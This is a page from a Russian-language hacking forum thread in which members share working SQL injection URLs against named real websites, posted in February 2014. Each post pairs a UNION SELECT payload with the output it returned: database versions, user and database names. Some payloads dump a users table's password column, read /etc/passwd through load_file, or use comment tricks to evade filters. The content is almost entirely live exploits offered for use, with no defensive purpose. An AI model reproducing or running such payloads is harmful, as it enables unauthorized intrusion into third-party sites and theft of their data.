SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 787 of 798
  1. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://ibaysilvershop.com/index.php?id=-7+union+select+1,@@basedir,concat_ws(0x3a,version(),user(),database())--&content=HI
    Code:
    5.1.73-log:[email protected]:db295017473
    Code:
    /USR/LOCAL/MYSQL-5.1.73-LINUX-I686-GLIBC23/
     
    #15721 GhostW, 1 Feb 2014
  2. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    [​IMG]

    Code:
    http://www.vsegda.tv/index.php?mod=genre&id=-15'+union+select+1,concat(version(),0x203a3a20,user(),0x203a3a20,database(),0x203a3a20,0x6e336d3173),3,4+--+
    5.1.70 :: vsegdatv_u5218@localhost :: vsegdatv_u5218
     
    #15722 MaxFast, 2 Feb 2014
  3. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    http://www.astbury.leeds.ac.uk/Report/download_report.php?id=94-9.999+union+select+1,2,3,4--

    http://www.astbury.leeds.ac.uk/Report/download_report.php?id=94-9.999+union+select+1,2,3,version()--
     
    _________________________
    #15723 kingbeef, 2 Feb 2014
    1 person likes this.
  4. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://ultimatehomedesign.com/news-detail.php?id=-312+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),database()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
     
    #15724 GhostW, 3 Feb 2014
    2 people like this.
  5. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Трубопроводная арматура +"фильтры тонкой очистки" :D

    Code:
    http://armaturka.com.ua/index.php?id=-87%27+/*!union*/+SeLect+1/*!,*/2/*!,*/3/*!,*/4/*!,*/5/*!,*/6/*!,*/version%28%29/*!,*/8/*!,*/9/*!,*/10+--+
    Версия: 5.1.69-cll-lve
     
    #15725 Unknowhacker, 5 Feb 2014
    1 person likes this.
  6. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://fodtennis.dk/news_view.php?id=-22+union+select+1,@@version,3,4,5--
    5.1.61-0+squeeze1
     
    #15726 GhostW, 5 Feb 2014
  7. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://bloodymilk.com/site/news_detail.php?id=-1+union+select+1,2,3,4,concat(user(),0x203a3a20,database(),0x203a3a20,0x3c666f6e7420636f6c6f723d7265643e6e336d31733c2f666f6e743e),6--
    bloodym_admin@localhost :: bloodym_site
     
    #15727 MaxFast, 6 Feb 2014
    Last edited: 7 Feb 2014
    1 person likes this.
  8. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Code:
    http://www.crew4sea.com/indexm-ru.php?country=-209+union+select+1,%28select%28@x%29from%28select%28@x:=0x00%29,%28select%28null%29from%28information_schema.columns%29where%28table_schema!=0x696e666f726d6174696f6e5f736368656d61%29and%280x00%29in%28@x:=concat%28@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name%29%29%29%29x%29,3,4,5,6,7,8,9,10,11+--+
     
    #15728 Unknowhacker, 6 Feb 2014
  9. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    pr: 6
    тиц: 50
    =================================================
     
    #15729 YaBtr, 6 Feb 2014
  10. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.melbournefineart.com.au/gallery.php?id=-18+union+select+1,version(),3,4,5--
    4.1.21-log
     
    #15730 GhostW, 6 Feb 2014
    1 person likes this.
  11. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    www.softinfo.ca

    =================================================
     
    #15731 YaBtr, 7 Feb 2014
    1 person likes this.
  12. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://spa.[B]sochi[/B]-zapolyarye.ru/index.php?menu=-16+union+select+concat(user(),0x203a3a20,database(),0x203a3a20,0x3c666f6e7420636f6c6f723d7265643e6e336d31733c2f666f6e743e)--
    hot_spazapolyary@localhost :: hot_spazapolyarye

    Code:
    http://sochi-polyana.com/index.php?menu=-16+union+select+concat(user(),0x203a3a20,database(),0x203a3a20,0x3c666f6e7420636f6c6f723d7265643e6e336d31733c2f666f6e743e)--
    krpol@localhost :: krpol

    Code:
    http://sochisportservice.com/index.php?menu=-16+union+select+concat(user(),0x203a3a20,database(),0x203a3a20,0x3c666f6e7420636f6c6f723d7265643e6e336d31733c2f666f6e743e)--
    dom@localhost :: dom

    Code:
    http://respekt-avia.ru/?menu=-16+union+select+concat(user(),0x203a3a20,database(),0x203a3a20,0x3c666f6e7420636f6c6f723d7265643e6e336d31733c2f666f6e743e)--
    respekt@localhost :: respekt

    Одним словом - дырявая CMS
     
    #15732 MaxFast, 7 Feb 2014
    Last edited: 7 Feb 2014
  13. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Что-то никак не могу найти там таблицу юзеров... Ты сам крутил до конца или нет? Если да то подскажи где юзеры


    П.С. Angola Oil Field Supply Services
    Code:
    http://www.angolaoilfield.com/info.php?info_id=-7+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),user(),database()),9,10,11,12,13,14,15+--+
    4.1.22-log:aoss@localhost:aoss
     
    #15733 GhostW, 7 Feb 2014
    Last edited: 7 Feb 2014
  14. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Общаться будем через скули :D
    По вопросу: тоже искал, но проверил не все таблицы, сайт не шибко ценный, так что, если что найдешь, будешь молодцом ;)


    pr: 5
    =================================================
     
    #15734 YaBtr, 7 Feb 2014
  15. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://www.acnielsen.ru/news.php?news_id=-16+union+select+1,concat(user(),0x203a3a20,database(),0x203a3a20,0x3c666f6e7420636f6c6f723d7265643e6e336d31733c2f666f6e743e),3,4,5,6,7--
    [email protected] :: u140989

    Code:
    http://www.prostor2000.ru/show_cat.php?catid=-13%27+union+select+1,2,3,concat(user(),0x203a3a20,database(),0x203a3a20,0x3c666f6e7420636f6c6f723d7265643e6e336d31733c2f666f6e743e),5,6,7,8,9+--+
    prostor@localhost :: prostor
     
    #15735 MaxFast, 8 Feb 2014
    Last edited: 8 Feb 2014
  16. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://www.fond.ru/index.php?menu_id=-370+union+select+concat(0x3a,version(),0x3c63656e7465723e3c696d67207372633d687474703a2f2f666f72756d2e616e7469636861742e72752f617661746172732f6176617461723137353937372e6769663e3c2f63656e7465723e)--
    5.1.41-log

    тИЦ = 1200, PR = 5
     
    #15736 MaxFast, 9 Feb 2014
  17. Shade

    Shade Member

    Joined:
    8 Sep 2010
    Messages:
    37
    Likes Received:
    10
    Reputations:
    12
    Code:
    http://www.irishsanghatrust.ie/news.php?id=-33+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+
    5.0.83-community

    [email protected]

    Code:
    http://www.raahauges.com/view-news.php?id=-8+union+select+1,2,version%28%29,4,5+--+

    5.5.33a-MariaDB


    [email protected]
     
    #15737 Shade, 9 Feb 2014
    Last edited: 9 Feb 2014
  18. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Привет узбекскому Локомотиву!

    Code:
    http://lokomotiv.uz/news.php?id=-794+union+select+@@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
    5.1.68-CLL-LVE
     
    #15738 GhostW, 9 Feb 2014
  19. Win32BOT

    Win32BOT Member

    Joined:
    4 Mar 2013
    Messages:
    62
    Likes Received:
    10
    Reputations:
    -3
    Code:
    http://sorrentosolemare.ru/info.php?info_id=-20+union+select+1,concat_ws(user(),database(),version()),3,4,5,6,7,8+--+
     
    #15739 Win32BOT, 11 Feb 2014
  20. ocheretko

    ocheretko Banned

    Joined:
    15 May 2010
    Messages:
    144
    Likes Received:
    51
    Reputations:
    116
    Code:
    http://www.lakedirectory.net/page.php?id=2+and+1=0+%20Union%20Select%20%201%20,2,3,4,5,6,7,8,9,10,11,%20UNHEX(HEX(CONCAT(CHAR(64),CHAR(95),CHAR(64),pass,char(59),CHAR(64),CHAR(95),CHAR(64))))%20+FROM+lgg.pmd_users%20%20LIMIT%201,1--
    Code:
    http://www.lakedirectory.net/page.php?id=2+and+1=0+%20Union%20Select%20%201,2,3,4,5,6,7,8,9,10,11,%20UNHEX(HEX(CONCAT(0x5B6B65795D,load_file(0x2F6574632F706173737764),0x5B6B65795D)))%20--
    при переходе происходит редирект на ссылку, которая содержит вывод данных
     
    #15740 ocheretko, 11 Feb 2014
    Last edited: 11 Feb 2014
(You must log in or sign up to post here.)
Page 787 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.